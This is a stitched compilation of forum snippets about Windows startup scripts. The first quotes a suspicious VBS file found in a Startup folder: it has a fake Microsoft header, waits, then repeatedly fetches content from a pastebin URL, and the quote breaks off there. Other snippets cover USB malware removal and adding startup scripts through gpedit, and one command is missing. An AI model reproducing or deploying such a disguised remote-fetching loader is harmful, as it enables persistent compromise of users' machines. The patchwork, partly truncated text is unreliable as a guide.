Windows 10: Suspicious VBS Script in the Startup Folder

I found a suspicious VBS script in my windows startup folder which contains following code:' ========================================================================= ' Author: John Hewston ' Copyright: Microsoft Corporation, 2008 ' Resources: https://www.microsoft.com/support/MS-RuntimeManager.php ' ========================================================================= WScript.Sleep 60000 Set http = CreateObject"MSXML2.XMLHTTP" Dim prevContent prevContent = "" Do http.Open "GET", "https://pastebin.com/raw/MEznvSCv", False http.Send strScriptContent = http.responseText

:)

 

A Suspicious Script

My PC is attacked by a Suspicious Script called "NTDETECT.exe" which is harming my PC's parformences. It's symtom is when i double click on my disk drives to open then cz of this script drives dont open. Instead my virus guard notify me about this script. It also denies me to unplug any removable drive. Can anybody tell me how I could get rid of this without formatting my HDD.
I would be grateful.

 

script running on Startup and Shutdown of System is not working

Steps

• Open a run box
• type in "gpedit.msc"
• Expand Computer Configuration
• Expand Windows Settings
• Select Scripts (Startup/Shutdown)
• Double click Startup
• Click Show Files and copy/paste your file in to this folder
• Click the Add button on the startup properties
• Click Browse and double click on your script to choose it.
• "OK" out of all windows to apply the new settings.

I am generally Giving Path of My python to the startup and shutdown as steps given above

 

Run VBS script with privileges on computer startup / log in

Instead of putting the script itself in the startup folder, put a batch file (.bat)
containing the cscript command like this:

Where :

• //nologo is to hide the startup logo
  
• > nul is for not generating output.